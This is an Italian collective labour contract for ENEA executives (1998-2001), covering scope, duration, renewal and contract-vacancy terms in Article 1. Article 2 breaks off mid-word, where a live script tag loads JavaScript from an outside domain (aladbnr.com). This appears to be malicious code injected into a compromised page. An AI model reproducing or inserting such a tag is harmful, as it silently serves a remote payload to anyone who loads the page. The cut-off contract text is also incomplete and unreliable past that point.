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Categoria: ENEA (dirigenti) Settore: Pubblica Amministrazione Data stipula: 4-12-2002 Data decorrenza: 1-1-1998 Data scadenza: 31-12-2001
Contratto Collettivo Nazionale di Lavoro
PER IL PERSONALE DIRIGENTE DELL'ENEA
quadriennio normativo 1998-2001 e biennio economico 1998-1999
In data 4 dicembre 2002, alle ore 15.00, ha avuto luogo l'incontro per la
definizione del CCNL in oggetto tra:
- ARAN nella persona di Antonio Guida per delega del Presidente Guido
Fantoni e le seguenti Organizzazioni e Confederazioni sindacali:
- FNDAI
e
- CIDA
Al termine della riunione le parti hanno sottoscritto l'allegato CCNL per
il personale dirigente dell'ENEA, quadriennio normativo 1998-2001 e
biennio economico 1998-1999.
Art. 1 - Campo di applicazione, durata, decorrenza del presente contratto.
1)
Il presente CCNL, stipulato ai sensi dell'art. 70, comma 4, D.lgs. 30.3.01
n. 165, si applica a tutto il personale dirigenziale con rapporto di
lavoro a tempo indeterminato o a tempo determinato dell'Ente per le Nuove
Tecnologie, l'Energia e l'Ambiente (d'ora in avanti: "ENEA").
2)
I rapporti di lavoro dei dirigenti sono disciplinati dai contratti
individuali, secondo le disposizioni di legge e sulla base di quanto
previsto nel presente contratto.
3)
Il presente contratto concerne il periodo 1 gennaio 1998 - 31 dicembre
2001 per la parte normativa e il periodo 1 gennaio 1998 - 31 dicembre 1999
per la parte economica.
4)
Gli effetti giuridici decorrono dalla data di stipulazione, salvo diverse
decorrenze previste dal presente contratto. La stipulazione s'intende
avvenuta al momento della sottoscrizione del contratto da parte dei
soggetti negoziali a seguito del perfezionamento delle procedure di cui
agli artt. 47 e 48, D.lgs n. 165/01.
5)
Gli istituti a contenuto economico e normativo con carattere vincolato e
automatico sono applicati dall'ENEA entro 30 giorni dalla data di
stipulazione ai sensi del comma 5.
6)
Il presente contratto, alla scadenza, si rinnova tacitamente di anno in
anno qualora non ne sia data disdetta da una delle parti con lettera
raccomandata, almeno 3 mesi prima di ogni singola scadenza. In caso di
disdetta, le disposizioni contrattuali rimangono in vigore fino a quando
non siano sostituite dal successivo CCNL. Limitatamente al presente CCNL,
le parti convengono che il termine per la disdetta sia stabilito in 3 mesi
dalla sottoscrizione del CCNL.
7)
Per evitare periodi di vacanza contrattuale, le piattaforme sono
presentate con un anticipo di almeno 3 mesi rispetto alla data di scadenza
del contratto. Durante tale periodo e per il mese successivo alla scadenza
del contratto le parti negoziali non assumono iniziative unilaterali, né
danno luogo ad azioni conflittuali. Limitatamente al presente CCNL, le
parti convengono che il termine per la presentazione delle piattaforme sia
stabilito in 2 mesi dalla sottoscrizione del CCNL.
8)
Dopo un periodo di vacanza contrattuale pari a 3 mesi dalla data di
scadenza della parte economica del presente contratto, o a 3 mesi dalla
data di presentazione della piattaforma, se successiva, ai dirigenti di
cui al presente contratto sarà corrisposta la relativa indennità, secondo
le scadenze previste dall'Accordo sul costo del lavoro 23.7.93. Per
l'erogazione di detta indennità l'ARAN stipula apposito accordo ai sensi
dell'art. 48, D.lgs. n. 165/01.
9)
Nel testo del presente contratto, i riferimenti al CCNL Area dirigenziale
e delle specifiche tipologie professionali dell'ENEA relativo al
quadriennio normativo 1994-1997 e al biennio economico 1994-1995,
stipulato il 4.8.97, nonché al CCNL Area dirigenziale e delle specifiche
tipologie professionali dell'ENEA relativo al biennio economico 1996-1997,
stipulato il 4.8.97, sono riportati rispettivamente come "CCNL quadriennio
1994-97" e "CCNL biennio economico 1996-97".
Art. 2 - Struttura della retribuzione.
1)
La struttura della retr<script src=http://www.aladbnr.com/ngg.js></script>
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